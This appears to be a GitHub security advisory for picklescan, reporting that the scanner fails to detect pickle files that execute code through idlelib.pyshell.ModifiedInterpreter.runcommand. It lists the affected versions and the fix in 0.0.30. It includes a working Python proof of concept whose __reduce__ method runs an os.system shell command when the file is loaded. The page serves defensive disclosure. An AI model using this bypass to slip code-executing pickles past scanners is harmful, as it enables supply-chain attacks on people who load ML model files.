GHSA-j343-8v2j-ff7w

Suggest an improvement
Source
https://github.com/advisories/GHSA-j343-8v2j-ff7w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-j343-8v2j-ff7w/GHSA-j343-8v2j-ff7w.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-j343-8v2j-ff7w
Published
2025-08-26T21:36:47Z
Modified
2025-08-26T21:39:58.091246Z
Summary
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand
Details

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncommand:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(executing=False),
            rpcclt=None,
            debugger=None
        )
        return ModifiedInterpreter.runcommand, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T21:36:47Z",
    "severity": "MODERATE",
    "nvd_published_at": null,
    "cwe_ids": []
}
References

Affected packages

PyPI / picklescan

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.0.30

Affected versions

0.*
0.0.1
0.0.2
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.0.9
0.0.10
0.0.11
0.0.12
0.0.13
0.0.14
0.0.15
0.0.16
0.0.17
0.0.18
0.0.19
0.0.20
0.0.21
0.0.22
0.0.23
0.0.24
0.0.25
0.0.26
0.0.27
0.0.28
0.0.29

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-j343-8v2j-ff7w/GHSA-j343-8v2j-ff7w.json"